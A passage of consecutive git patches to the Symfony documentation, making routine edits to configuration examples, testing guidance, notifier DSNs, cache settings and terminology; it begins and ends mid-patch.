+
+            <framework:config>
+                <!-- in XML configuration you cannot use PHP constants as the value of
+                     the 'type' attribute, which makes this format way less readable.
+                     Consider using YAML or PHP for this configuration -->
+                <framework:log type="8" logLevel="error"/>
+                <framework:log type="2" logLevel="error"/>
+                <!-- ... -->
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use Psr\Log\LogLevel;
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->phpErrors()->log(\E_DEPRECATED, LogLevel::ERROR);
+            $framework->phpErrors()->log(\E_USER_DEPRECATED, LogLevel::ERROR);
+            // ...
+        };
+
+.. versionadded:: 5.3
+
+    The option to map PHP errors to log levels was introduced in Symfony 5.3.
+
 throw
 .....
 

From bd84809a4e1b780698ceedab4eb9b754d12a3ef9 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 25 Jun 2021 00:11:04 +0200
Subject: [PATCH 0957/5766] Updating `excluded_404s` to `excluded_http_codes`

The syntaxes are taken from https://symfony.com/doc/current/logging/monolog_exclude_http_codes.html
---
 logging/monolog_email.rst | 9 +++------
 1 file changed, 3 insertions(+), 6 deletions(-)

diff --git a/logging/monolog_email.rst b/logging/monolog_email.rst
index 7822de7c58c..f68f8c3237e 100644
--- a/logging/monolog_email.rst
+++ b/logging/monolog_email.rst
@@ -28,8 +28,7 @@ it is broken down.
                     action_level: critical
                     # to also log 400 level errors (but not 404's):
                     # action_level: error
-                    # excluded_404s:
-                    #     - ^/
+                    # excluded_http_codes: [404]
                     handler:      deduplicated
                 deduplicated:
                     type:    deduplication
@@ -62,7 +61,7 @@ it is broken down.
                 to also log 400 level errors (but not 404's):
                 action-level="error"
                 And add this child inside this monolog:handler
-                <monolog:excluded-404>^/</monolog:excluded-404>
+                <monolog:excluded-http-code code="404"/>
                 -->
                 <monolog:handler
                     name="main"
@@ -107,9 +106,7 @@ it is broken down.
                     'action_level' => 'critical',
                     // to also log 400 level errors (but not 404's):
                     // 'action_level' => 'error',
-                    // 'excluded_404s' => [
-                    //     '^/',
-                    // ],
+                    // 'excluded_http_codes' => [404],
                     'handler'      => 'deduplicated',
                 ],
                 'deduplicated' => [

From e23c7ec69d8a4a1b3c390b9cde868e95323869a5 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 25 Jun 2021 17:30:39 +0200
Subject: [PATCH 0958/5766] Recommending "strict" mode for users of Symfony
 Mailer

Maybe you could add a link to Symfony Mailer?
---
 reference/constraints/Email.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/reference/constraints/Email.rst b/reference/constraints/Email.rst
index 5cbeaeb4523..71a3236499d 100644
--- a/reference/constraints/Email.rst
+++ b/reference/constraints/Email.rst
@@ -160,8 +160,10 @@ in the second host part of the email address.
 strict
 ......
 
-Uses the `egulias/email-validator`_ library to perform an RFC compliant
-validation. You will need to install that library to use this mode.
+If you're using Symfony Mailer to send emails to that address, this is
+the recommended mode, since both are using the same library, to perform an RFC
+compliant validation: `egulias/email-validator`_. If you're not using Symfony
+Mailer, you will need to install that library separately to use this mode.
 
 html5
 .....

From cde5af7cacad39dd44d71d39ce2b6845c98afb7e Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sat, 26 Jun 2021 13:36:48 +0200
Subject: [PATCH 0959/5766] Minor change at email_validation_mode

Info is taken from https://github.com/symfony/symfony/issues/41855#issuecomment-868670803

Maybe you should create an include to use the same wording for here and https://symfony.com/doc/4.4/reference/constraints/Email.html#mode
---
 reference/configuration/framework.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 4cd6f938166..cc3227a4519 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2398,7 +2398,7 @@ email_validation_mode
 
 **type**: ``string`` **default**: ``loose``
 
-It controls the way email addresses are validated by the
+Sets the default value for 
 :doc:`/reference/constraints/Email` validator. The possible values are:
 
 * ``loose``, it uses a simple regular expression to validate the address (it

From 52017f283b4ff2dca012b7e2f2ef46ede9a358ec Mon Sep 17 00:00:00 2001
From: sebpacz <spaczkowski2014@gmail.com>
Date: Wed, 30 Jun 2021 20:58:36 +0200
Subject: [PATCH 0960/5766] Add missing configurations

---
 reference/configuration/framework.rst | 123 ++++++++++++++++++++++----
 1 file changed, 105 insertions(+), 18 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 4cd6f938166..9d3b45048eb 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -751,16 +751,62 @@ as a service named ``http_client`` or using the autowiring alias
 
 This service can be configured using ``framework.http_client.default_options``:
 
-.. code-block:: yaml
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            # ...
+            http_client:
+                max_host_connections: 10
+                default_options:
+                    headers: { 'X-Powered-By': 'ACME App' }
+                    max_redirects: 7
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
-    # config/packages/framework.yaml
-    framework:
-        # ...
-        http_client:
-            max_host_connections: 10
-            default_options:
-                headers: { 'X-Powered-By': 'ACME App' }
-                max_redirects: 7
+            <framework:config>
+                <framework:http-client max-host-connections="10">
+                    <framework:default-options max-redirects="7">
+                        <framework:header name="X-Powered-By">ACME App</framework:header>
+                    </framework:default-options>
+                </framework:http-client>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        $container->loadFromExtension('framework', [
+            'http_client' => [
+                'max_host_connections' => 10,
+                'default_options' => [
+                    'headers' => [
+                        'X-Powered-By' => 'ACME App',
+                    ],
+                    'max_redirects' => 7,
+                ],
+            ],
+        ]);
+
+    .. code-block:: php-standalone
+
+        $client = HttpClient::create([
+            'headers' => [
+                'X-Powered-By' => 'ACME App',
+            ],
+            'max_redirects' => 7,
+        ], 10);
 
 .. _reference-http-client-scoped-clients:
 
@@ -769,16 +815,57 @@ service name defined as a key under ``scoped_clients``. Scoped clients inherit
 the default options defined for the ``http_client`` service. You can override
 these options and can define a few others:
 
-.. code-block:: yaml
+.. configuration-block::
+
+    .. code-block:: yaml
 
-    # config/packages/framework.yaml
-    framework:
-        # ...
-        http_client:
-            scoped_clients:
-                my_api.client:
-                    auth_bearer: secret_bearer_token
-                    # ...
+        # config/packages/framework.yaml
+        framework:
+            # ...
+            http_client:
+                scoped_clients:
+                    my_api.client:
+                        auth_bearer: secret_bearer_token
+                        # ...
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:http-client>
+                    <framework:scoped-client name="my_api.client" auth-bearer="secret_bearer_token"/>
+                </framework:http-client>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        $container->loadFromExtension('framework', [
+            'http_client' => [
+                'scoped_clients' => [
+                    'my_api.client' => [
+                        'auth_bearer' => 'secret_bearer_token',
+                        // ...
+                    ],
+                ],
+            ],
+        ]);
+
+    .. code-block:: php-standalone
+
+        $client = HttpClient::createForBaseUri('https://...', [
+            'auth_bearer' => 'secret_bearer_token',
+            // ...
+        ]);
 
 Options defined for scoped clients apply only to URLs that match either their
 `base_uri`_ or the `scope`_ option when it is defined. Non-matching URLs always

From 608de4a74f5801641214393c1442200cfd2deaa7 Mon Sep 17 00:00:00 2001
From: Ulumuddin Cahyadi Yunus <ulumuddin.cy@gmail.com>
Date: Tue, 29 Jun 2021 10:28:06 +0700
Subject: [PATCH 0961/5766] Upgrade popper package to v2

Bootstrap 5 is using popper v2

Based on https://popper.js.org/docs/v2/migration-guide/

from `popper.js` to `@popperjs/core`
---
 frontend/encore/bootstrap.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/encore/bootstrap.rst b/frontend/encore/bootstrap.rst
index 5d260bbc21a..34d503767c6 100644
--- a/frontend/encore/bootstrap.rst
+++ b/frontend/encore/bootstrap.rst
@@ -43,7 +43,7 @@ used in your application:
 .. code-block:: terminal
 
     // jQuery is only required in versions prior to Bootstrap 5
-    $ yarn add jquery popper.js --dev
+    $ yarn add jquery @popperjs/core --dev
 
 Now, require bootstrap from any of your JavaScript files:
 

From 1b5fd8c51dc0cbb017ed38f26e5bb7d3502eee98 Mon Sep 17 00:00:00 2001
From: Vu Phuong <vuphuong87@gmail.com>
Date: Sat, 22 May 2021 14:07:20 +0700
Subject: [PATCH 0962/5766] [Notifier] [MessageMedia] add docs

---
 notifier.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/notifier.rst b/notifier.rst
index 1ef5b5521f7..071cf8fa527 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -66,6 +66,7 @@ Infobip         ``symfony/infobip-notifier``          ``infobip://AUTH_TOKEN@HOS
 Iqsms           ``symfony/iqsms-notifier``            ``iqsms://LOGIN:PASSWORD@default?from=FROM``
 LightSms        ``symfony/light-sms-notifier``        ``lightsms://LOGIN:TOKEN@default?from=PHONE``
 MessageBird     ``symfony/message-bird-notifier``     ``messagebird://TOKEN@default?from=FROM``
+MessageMedia    ``symfony/message-media-notifier``    ``messagemedia://API_KEY:API_SECRET@default?from=FROM``
 Mobyt           ``symfony/mobyt-notifier``            ``mobyt://USER_KEY:ACCESS_TOKEN@default?from=FROM``
 Nexmo           ``symfony/nexmo-notifier``            ``nexmo://KEY:SECRET@default?from=FROM``
 Octopush        ``symfony/octopush-notifier``         ``octopush://USERLOGIN:APIKEY@default?from=FROM&type=TYPE``
@@ -91,6 +92,10 @@ Twilio          ``symfony/twilio-notifier``           ``twilio://SID:TOKEN@defau
     The Iqsms, GatewayApi, Octopush, AllMySms, Clickatell, SpotHit, FakeSms, LightSms, SmsBiuras
     and MessageBird integrations were introduced in Symfony 5.3.
 
+.. versionadded:: 5.4
+
+    The MessageMedia integration was introduced in Symfony 5.4.
+
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:
 

From 63a817813668802f1fcfab0ceded0ee830c3fea8 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 2 Jul 2021 10:36:00 +0200
Subject: [PATCH 0963/5766] Fix: Update DOCtor-RST config file for Symfony 6.0

---
 .doctor-rst.yaml | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index f63b8689521..b75b04b524a 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -53,16 +53,16 @@ rules:
 
     #   master
     versionadded_directive_major_version:
-        major_version: 5
+        major_version: 6
 
     versionadded_directive_min_version:
-        min_version: '5.0'
+        min_version: '6.0'
 
     deprecated_directive_major_version:
-        major_version: 5
+        major_version: 6
 
     deprecated_directive_min_version:
-        min_version: '5.0'
+        min_version: '6.0'
 
 # do not report as violation
 whitelist:

From 3cd1e7a0b74026d07275348e5c7c336458b0929e Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sat, 3 Jul 2021 15:02:12 +0200
Subject: [PATCH 0964/5766] Minor clarification

The text above says:
> By default the first transport is used

The wording I changed suggested that the first transport called "main" is used (not the very first one in total).
---
 mailer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index ec13d48e4ba..d11995a108c 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -947,10 +947,10 @@ This can be configured by replacing the ``dsn`` configuration entry with a
 By default the first transport is used. The other transports can be used by
 adding a text header ``X-Transport`` to an email::
 
-    // Send using first "main" transport ...
+    // Send using first transport ("main"):
     $mailer->send($email);
 
-    // ... or use the "alternative" one
+    // ... or use the transport "alternative":
     $email->getHeaders()->addTextHeader('X-Transport', 'alternative');
     $mailer->send($email);
 

From 77f34c51107c43f33eee8accc55a0528a7a941b2 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sat, 3 Jul 2021 16:38:25 +0200
Subject: [PATCH 0965/5766] Added header removal notice

---
 mailer.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index ec13d48e4ba..8aa3f82acb7 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -944,8 +944,9 @@ This can be configured by replacing the ``dsn`` configuration entry with a
             ],
         ]);
 
-By default the first transport is used. The other transports can be used by
-adding a text header ``X-Transport`` to an email::
+By default the first transport is used. The other transports can be selected by
+adding an ``X-Transport`` header (which Mailer will remove automatically from
+the final email)::
 
     // Send using first "main" transport ...
     $mailer->send($email);

From aad93f4c12926087255c9b50a008b0a4bd07a0dc Mon Sep 17 00:00:00 2001
From: Yoann Renard <renard.yoann@gmail.com>
Date: Sun, 4 Jul 2021 10:03:09 +0200
Subject: [PATCH 0966/5766] [Console] Document
 CommandTester::assertCommandIsSuccessful() usage

---
 console.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/console.rst b/console.rst
index 72e7ea30e0b..80ae5fd7cd5 100644
--- a/console.rst
+++ b/console.rst
@@ -384,6 +384,8 @@ console::
                 // e.g: '--some-option' => 'option_value',
             ]);
 
+            $commandTester->assertCommandIsSuccessful();
+
             // the output of the command in the console
             $output = $commandTester->getDisplay();
             $this->assertStringContainsString('Username: Wouter', $output);
@@ -400,6 +402,10 @@ call ``setAutoExit(false)`` on it to get the command result in ``CommandTester``
     The ``setAutoExit()`` method for single-command applications was introduced
     in Symfony 5.2.
 
+.. versionadded:: 5.4
+
+    The ``assertCommandIsSuccessful()`` method was introduced in Symfony 5.4.
+
 .. tip::
 
     You can also test a whole console application by using

From 28e7cbee67de91ca6e9ba716acd545a640f7bda5 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Tue, 6 Jul 2021 18:05:13 +0200
Subject: [PATCH 0967/5766] [Contribution] Document the different types of
 tests run in CI

---
 contributing/code/pull_requests.rst | 62 +++++++++++++++++++++++++++++
 1 file changed, 62 insertions(+)

diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst
index d1f06f8db76..b2dc73ac06d 100644
--- a/contributing/code/pull_requests.rst
+++ b/contributing/code/pull_requests.rst
@@ -429,6 +429,68 @@ After the `Psalm phar is installed`_, the analysis can be run locally with:
 
     $ psalm.phar src/Symfony/Component/Workflow
 
+Automated Tests
+~~~~~~~~~~~~~~~
+
+A series of automated tests will run when submitting the pull request.
+These test the code under different conditions, to be sure nothing
+important is broken. Test failures can be unrelated to your changes. If you
+think this is the case, you can check if the target branch has the same
+errors and leave a comment on your PR.
+
+Otherwise, the test failure might be caused by your changes. The following
+test scenarios run on each change:
+
+``PHPUnit / Tests``
+    This job runs on Ubuntu using multiple PHP versions (each in their
+    own job). These jobs run the testsuite just like you would do locally.
+
+    A failure in these jobs often indicates a bug in the code.
+
+``PHPUnit / Tests (high-deps)``
+    This job checks each package (bridge, bundle or component) in ``src/``
+    individually by calling ``composer update`` and ``phpunit`` from inside
+    each package.
+
+    A failure in this job often indicates a missing package in the
+    ``composer.json`` of the failing package (e.g.
+    ``src/Symfony/Bundle/FrameworkBundle/composer.json``).
+
+    This job also runs relevant packages using a "flipped" test (indicated
+    by a ``^`` suffix in the package name). These tests checkout the
+    previous major release (e.g. ``4.4`` for a pull requests on ``5.4``)
+    and run the tests with your branch as dependency.
+
+    A failure in these flipped tests indicate a backwards compatibility
+    break in your changes.
+
+``PHPUnit / Tests (low-deps)``
+    This job also checks each package individually, but then uses
+    ``composer update --prefer-lowest`` before running the tests.
+
+    A failure in this job often indicates a wrong version range or a
+    missing package in the ``composer.json`` of the failing package.
+
+``continuous-integration/appveyor/pr``
+    This job runs on Windows using the x86 architecture and the lowest
+    supported PHP version. All tests first run without extra PHP
+    extensions. Then, all skipped tests are run using all required PHP
+    extensions.
+
+    A failure in this job often indicate that your changes do not support
+    Windows, x86 or PHP with minimal extensions.
+
+``Integration / Tests``
+    Integration tests require other services (e.g. Redis or RabbitMQ) to
+    run. This job only runs the tests in the ``integration`` PHPUnit group.
+
+    A failure in this job indicates a bug in the communication with these
+    services.
+
+``PHPUnit / Tests (experimental)``
+    This job always passes (even with failing tests) and is used by the
+    core team to prepare for the upcoming PHP versions.
+
 .. _rework-your-patch:
 
 Rework your Pull Request

From 984ae66891baa66e181572b5c72868eb9bcdd5f0 Mon Sep 17 00:00:00 2001
From: fridde <f@hehl.se>
Date: Sun, 4 Jul 2021 23:28:26 +0200
Subject: [PATCH 0968/5766] Fixed ambiguous sentence

Fixed sentence that created confusion: "A few libraries starting with symfony/ follow their versioning scheme." should contain "own"
---
 setup/upgrade_minor.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup/upgrade_minor.rst b/setup/upgrade_minor.rst
index 66e261a6726..09508c0469d 100644
--- a/setup/upgrade_minor.rst
+++ b/setup/upgrade_minor.rst
@@ -41,7 +41,7 @@ probably need to update the version constraint next to each library starting
               "...": "...",
 
               "...": "A few libraries starting with
-                      symfony/ follow their versioning scheme. You
+                      symfony/ follow their own versioning scheme. You
                       do not need to update these versions: you can
                       upgrade them independently whenever you want",
               "symfony/monolog-bundle": "^3.5",

From a8177db4d3ac78ece633a77517cee7b81f5fc263 Mon Sep 17 00:00:00 2001
From: Maxim Tugaev <tugmaks@yandex.ru>
Date: Wed, 7 Jul 2021 17:59:53 +0300
Subject: [PATCH 0969/5766] Global variable in TwigConfig should be passed by
 service function

---
 templating/global_variables.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/templating/global_variables.rst b/templating/global_variables.rst
index 12090f8b859..b3933e6f387 100644
--- a/templating/global_variables.rst
+++ b/templating/global_variables.rst
@@ -100,11 +100,12 @@ the ``@`` character, which is the usual syntax to
 
         // config/packages/twig.php
         use Symfony\Config\TwigConfig;
+        use function Symfony\Component\DependencyInjection\Loader\Configurator\service;
 
         return static function (TwigConfig $twig) {
             // ...
 
-            $twig->global('uuid')->value('@App\Generator\UuidGenerator');
+            $twig->global('uuid')->value(service('App\Generator\UuidGenerator'));
         };
 
 Now you can use the ``uuid`` variable in any Twig template to access to the

From fb7f34e032766d1f2b58a85a0eb57828ad6cf867 Mon Sep 17 00:00:00 2001
From: Julio Montoya <gugli100@gmail.com>
Date: Thu, 8 Jul 2021 11:01:43 +0200
Subject: [PATCH 0970/5766] Minor - Remove deprecated self::$container

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 717e13ffc13..b3dba9e0ee3 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1479,7 +1479,7 @@ during a request::
             $this->assertSame(200, $client->getResponse()->getStatusCode());
 
             /* @var InMemoryTransport $transport */
-            $transport = self::$container->get('messenger.transport.async_priority_normal');
+            $transport = $this->getContainer()->get('messenger.transport.async_priority_normal');
             $this->assertCount(1, $transport->getSent());
         }
     }

From 2133943f2e4807def63f91803b47b1bbafde5238 Mon Sep 17 00:00:00 2001
From: Nicolas Clavaud <nclavaud@gmail.com>
Date: Fri, 9 Jul 2021 18:59:44 +0200
Subject: [PATCH 0971/5766] Fix example in Regex.rst

---
 reference/constraints/Regex.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/Regex.rst b/reference/constraints/Regex.rst
index 2c109c53d4b..565e62db5e6 100644
--- a/reference/constraints/Regex.rst
+++ b/reference/constraints/Regex.rst
@@ -244,7 +244,7 @@ need to specify the HTML5 compatible pattern in the ``htmlPattern`` option:
         {
             #[Assert\Regex(
                 pattern: '/^[a-z]+$/i',
-                match: '^[a-zA-Z]+$'
+                htmlPattern: '^[a-zA-Z]+$'
             )]
             protected $name;
         }

From d72d610522f1e305761e8667e864bcd7ffa49f7a Mon Sep 17 00:00:00 2001
From: Damien Chedan <tcheutcheud@gmail.com>
Date: Mon, 5 Jul 2021 11:54:14 +0200
Subject: [PATCH 0972/5766] [Testing] use static::getContainer()

self::$container is deprecated since symfony5.3
---
 testing.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/testing.rst b/testing.rst
index 4d522e49d71..346cc573e94 100644
--- a/testing.rst
+++ b/testing.rst
@@ -246,7 +246,7 @@ Retrieving Services in the Test
 
 In your integration tests, you often need to fetch the service from the
 service container to call a specific method. After booting the kernel,
-the container is stored in ``self::$container``::
+the container is stored in ``static::getContainer()``::
 
     // tests/Service/NewsletterGeneratorTest.php
     namespace App\Tests\Service;
@@ -261,8 +261,8 @@ the container is stored in ``self::$container``::
             // (1) boot the Symfony kernel
             self::bootKernel();
 
-            // (2) use self::$container to access the service container
-            $container = self::$container;
+            // (2) use static::getContainer() to access the service container
+            $container = static::getContainer();
 
             // (3) run some service & test the result
             $newsletterGenerator = $container->get(NewsletterGenerator::class);
@@ -272,7 +272,7 @@ the container is stored in ``self::$container``::
         }
     }
 
-The container in ``self::$container`` is actually a special test container.
+The container in ``static::getContainer()`` is actually a special test container.
 It gives you access to both the public services and the non-removed
 :ref:`private services <container-public>` services.
 

From 1a3e544258bd67347186b88c1183912e8a37e632 Mon Sep 17 00:00:00 2001
From: Tobias Schultze <webmaster@tubo-world.de>
Date: Sun, 11 Jul 2021 15:18:30 +0200
Subject: [PATCH 0973/5766] Fix doc of cache prefix and namespace

---
 cache.rst                             | 4 ++--
 reference/configuration/framework.rst | 6 +++---
 2 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/cache.rst b/cache.rst
index 12125402e0d..cbfc178da54 100644
--- a/cache.rst
+++ b/cache.rst
@@ -305,8 +305,8 @@ You can also create more customized pools:
 Each pool manages a set of independent cache keys: keys from different pools
 *never* collide, even if they share the same backend. This is achieved by prefixing
 keys with a namespace that's generated by hashing the name of the pool, the name
-of the compiled container class and a :ref:`configurable seed <reference-cache-prefix-seed>`
-that defaults to the project directory.
+of the cache adapter class and a :ref:`configurable seed <reference-cache-prefix-seed>`
+that defaults to the project directory and compiled container class.
 
 Each custom pool becomes a service whose service ID is the name of the pool
 (e.g. ``custom_thing.cache``). An autowiring alias is also created for each pool
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index a2f18c2f335..8535d9fce14 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2485,7 +2485,7 @@ email_validation_mode
 
 **type**: ``string`` **default**: ``loose``
 
-Sets the default value for 
+Sets the default value for
 :doc:`/reference/constraints/Email` validator. The possible values are:
 
 * ``loose``, it uses a simple regular expression to validate the address (it
@@ -2938,9 +2938,9 @@ The cache clearer used to clear your PSR-6 cache.
 prefix_seed
 ...........
 
-**type**: ``string`` **default**: ``null``
+**type**: ``string`` **default**: ``_%kernel.project_dir%.%kernel.container_class%``
 
-If defined, this value is used as part of the "namespace" generated for the
+This value is used as part of the "namespace" generated for the
 cache item keys. A common practice is to use the unique name of the application
 (e.g. ``symfony.com``) because that prevents naming collisions when deploying
 multiple applications into the same path (on different servers) that share the

From 818f5942ae6b168ff3175ae874a4781bbe465b2b Mon Sep 17 00:00:00 2001
From: Al-Saleh KEITA <28827545+askeita@users.noreply.github.com>
Date: Fri, 9 Jul 2021 17:49:44 +0200
Subject: [PATCH 0974/5766] Typo in class name

Set right name for the name of factory class
---
 service_container/factories.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/service_container/factories.rst b/service_container/factories.rst
index f67b8c35ebd..d2fda053923 100644
--- a/service_container/factories.rst
+++ b/service_container/factories.rst
@@ -204,7 +204,7 @@ method name:
 
             App\Email\NewsletterManager:
                 class:   App\Email\NewsletterManager
-                factory: '@App\Email\NewsletterManagerFactory'
+                factory: '@App\Email\InvokableNewsletterManagerFactory'
 
     .. code-block:: xml
 
@@ -220,7 +220,7 @@ method name:
 
                 <service id="App\Email\NewsletterManager"
                          class="App\Email\NewsletterManager">
-                    <factory service="App\Email\NewsletterManagerFactory"/>
+                    <factory service="App\Email\InvokableNewsletterManagerFactory"/>
                 </service>
             </services>
         </container>
@@ -237,7 +237,7 @@ method name:
             $services = $configurator->services();
 
             $services->set(NewsletterManager::class)
-                ->factory(service(NewsletterManagerFactory::class));
+                ->factory(service(InvokableNewsletterManagerFactory::class));
         };
 
 .. _factories-passing-arguments-factory-method:

From 79e0ca062a936691a359d4ecddd58306d6f961b9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 12 Jul 2021 13:34:02 +0200
Subject: [PATCH 0975/5766] Fixed XML syntax too

---
 templating/global_variables.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/templating/global_variables.rst b/templating/global_variables.rst
index b3933e6f387..ab770657531 100644
--- a/templating/global_variables.rst
+++ b/templating/global_variables.rst
@@ -92,7 +92,7 @@ the ``@`` character, which is the usual syntax to
 
             <twig:config>
                 <!-- ... -->
-                <twig:global key="uuid">@App\Generator\UuidGenerator</twig:global>
+                <twig:global key="foo" id="App\Generator\UuidGenerator" type="service"/>
             </twig:config>
         </container>
 

From 1bf9b473fd9fee3d8980c1a0aefebb4eab8b75dd Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 13 Jul 2021 12:07:15 +0200
Subject: [PATCH 0976/5766] Some minor rewords

---
 frontend/encore/babel.rst             | 2 +-
 reference/configuration/framework.rst | 2 +-
 reference/constraints/Uuid.rst        | 2 +-
 security.rst                          | 4 ++--
 4 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/frontend/encore/babel.rst b/frontend/encore/babel.rst
index 083e45528fc..95ba6086913 100644
--- a/frontend/encore/babel.rst
+++ b/frontend/encore/babel.rst
@@ -24,7 +24,7 @@ Need to extend the Babel configuration further? The easiest way is via
             babelConfig.plugins.push('styled-jsx/babel');
         }, {
             // node_modules is not processed through Babel by default
-            // but you can whitelist specific modules to process
+            // but you can allow some specific modules to be processed
             includeNodeModules: ['foundation-sites'],
 
             // or completely control the exclude rule (note that you
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index a2f18c2f335..54f65230f3b 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -519,7 +519,7 @@ instance), the host might have been manipulated by an attacker.
 The Symfony :method:`Request::getHost() <Symfony\\Component\\HttpFoundation\\Request::getHost>`
 method might be vulnerable to some of these attacks because it depends on
 the configuration of your web server. One simple solution to avoid these
-attacks is to whitelist the hosts that your Symfony application can respond
+attacks is to configure a list of hosts that your Symfony application can respond
 to. That's the purpose of this ``trusted_hosts`` option. If the incoming
 request's hostname doesn't match one of the regular expressions in this list,
 the application won't respond and the user will receive a 400 response.
diff --git a/reference/constraints/Uuid.rst b/reference/constraints/Uuid.rst
index 4406555ac30..9dbde3b3ce5 100644
--- a/reference/constraints/Uuid.rst
+++ b/reference/constraints/Uuid.rst
@@ -4,7 +4,7 @@ UUID
 Validates that a value is a valid `Universally unique identifier (UUID)`_ per `RFC 4122`_.
 By default, this will validate the format according to the RFC's guidelines, but this can
 be relaxed to accept non-standard UUIDs that other systems (like PostgreSQL) accept.
-UUID versions can also be restricted using a whitelist.
+UUID versions can also be restricted using a list of allowed versions.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
diff --git a/security.rst b/security.rst
index 490ccef1ce9..abc65227c42 100644
--- a/security.rst
+++ b/security.rst
@@ -759,8 +759,8 @@ like this:
   will have ``IS_AUTHENTICATED_REMEMBERED`` but will not have ``IS_AUTHENTICATED_FULLY``.
 
 * ``IS_AUTHENTICATED_ANONYMOUSLY``: *All* users (even anonymous ones) have
-  this - this is useful when *whitelisting* URLs to guarantee access - some
-  details are in :doc:`/security/access_control`.
+  this - this is useful when defining a list of URLs with no access restriction
+  - some details are in :doc:`/security/access_control`.
 
 .. _retrieving-the-user-object:
 

From a0b16236a9451bb4193a284f74663d98c5b8958c Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 13 Jul 2021 16:46:48 +0200
Subject: [PATCH 0977/5766] Minor language fix

---
 reference/configuration/framework.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 54f65230f3b..5d5d20166a3 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2292,9 +2292,9 @@ logging
 **default**: ``true`` when the debug mode is enabled, ``false`` otherwise.
 
 When ``true``, a log entry is made whenever the translator cannot find a translation
-for a given key. The logs are made to the ``translation`` channel and at the
-``debug`` for level for keys where there is a translation in the fallback
-locale and the ``warning`` level if there is no translation to use at all.
+for a given key. The logs are made to the ``translation`` channel at the
